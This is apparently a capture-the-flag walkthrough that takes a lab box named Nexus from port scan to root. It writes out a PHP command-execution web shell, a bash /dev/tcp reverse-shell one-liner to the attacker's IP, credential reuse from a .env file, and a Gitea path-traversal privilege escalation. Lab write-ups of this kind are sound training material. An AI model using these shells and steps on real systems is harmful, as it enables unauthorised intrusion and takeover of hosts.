Nexus, Null Network

Target overview

Property	Details
Target IP	10.129.77.178
Operating system	Ubuntu Linux
Services	OpenSSH 9.6p1, nginx 1.24.0
Web technologies identified	Gitea 1.26.0, Laravel 12.54.1, Krayin 2.2.0, PHP 8.3.6
Discovered email	[email protected]

Credentials collected

Account or purpose	Username / email	Password
Krayin portal	[email protected]	N27xh!!2ucY04
Krayin database	krayin	N27xh!!2ucY04
jones system account	jones	y27xb3ha!!74GbR
Mail sender address	[email protected]	--

1. Port scan

I scanned all TCP ports with Nmap:

bash

nmap -p- -sV -n --disable-arp-ping -v --stats-every=5s --min-rate=10000 -oA allportscan 10.10.14.X

The scan identified two open ports:

Port	Service	Version
22/tcp	SSH	OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp	HTTP	nginx 1.24.0

Nmap reported dropped probes and repeatedly increased its send delay. The aggressive --min-rate setting likely contributed to the packet loss.

2. Virtual-host discovery

I first tried Gobuster:

bash

gobuster vhost -u http://nexus.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

The tested entries returned 400 responses. I then used ffuf with a Host header:

bash

ffuf -u http://10.129.77.178 \
  -H 'Host: FUZZ.nexus.htb' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac

This identified two virtual hosts:

Hostname	Status
billing.nexus.htb	302
git.nexus.htb	200

I added the discovered hostnames to my local name-resolution setup before accessing them.

3. Initial access via PHP shell upload

I logged into the Krayin portal at billing.nexus.htb using [email protected] and the password N27xh!!2ucY04. I then used Exploit-DB 52629 (https://www.exploit-db.com/exploits/52629) to upload a PHP command-execution shell:

bash

python3 52629.py \
  -t http://billing.nexus.htb \
  -u [email protected] \
  -p 'N27xh!!2ucY04' \
  -f ~/Documents/HTB/Boxes/Nexus/shell.php

The uploaded file contained:

php

<?php system($_GET["cmd"]); ?>

I tested command execution with:

bash

curl "http://billing.nexus.htb/storage/tinymce/1b81ec1b21b28dc924e109b93224975e.php?cmd=whoami"

With a Netcat listener running on port 4444, I triggered a reverse shell:

bash

curl "http://billing.nexus.htb/storage/tinymce/1b81ec1b21b28dc924e109b93224975e.php?cmd=bash+-c+'exec+bash+-i+%26>/dev/tcp/10.10.14.X/4444+<%261'"

This provided a shell as www-data.

4. Lateral move to jones

While enumerating the host as www-data, I found a .env file in /krayin. It contained the password y27xb3ha!!74GbR, which I used to SSH in as jones:

bash

ssh [email protected]

5. Privilege escalation via Gitea template sync

As jones, I checked the systemd timers:

bash

systemctl list-timers --no-pager --full

The output showed that gitea-template-sync.timer activates gitea-template-sync.service every minute:

bash

jones@nexus:~$ systemctl list-timers --no-pager --full
NEXT                        LEFT LAST                        PASSED UNIT                       ACTIVATES
Sat 2026-10-03 18:13:10 UTC  7s Sat 2026-10-03 18:12:10 UTC 52s ago gitea-template-sync.timer gitea-template-sync.service

The template-sync process was vulnerable to path traversal (CWE-22). The exploit wrote raw Git objects directly into .git/objects/, bypassing Git's usual path validation.

I generated an SSH key pair as jones:

bash

ssh-keygen -t ed25519 -f /tmp/.k -N ''

I logged into Gitea as jones and created a repository template named test. From the www-data shell, I cloned the template repository locally and ran the build script:

bash

cd /tmp
git clone http://jones:'y27xb3ha!!74GbR'@localhost:3000/jones/test.git
cd test
python3 /tmp/build.py

The script reads /tmp/.k.pub, creates Git blob, tree, and commit objects, and updates the clone's main ref to point to the crafted commit. Its tree includes an authorized_keys file beneath .ssh, with traversal entries that escape the repository directory when the sync service processes the template.

I waited for the next timer run to process the crafted commit.

6. Root access

I copied the private key generated as jones to my local machine and restricted its permissions:

bash

scp [email protected]:/tmp/.k /tmp/.k
chmod 600 /tmp/.k

I then used the key to SSH in as root:

bash

ssh -i /tmp/.k [email protected]

Result: root access obtained.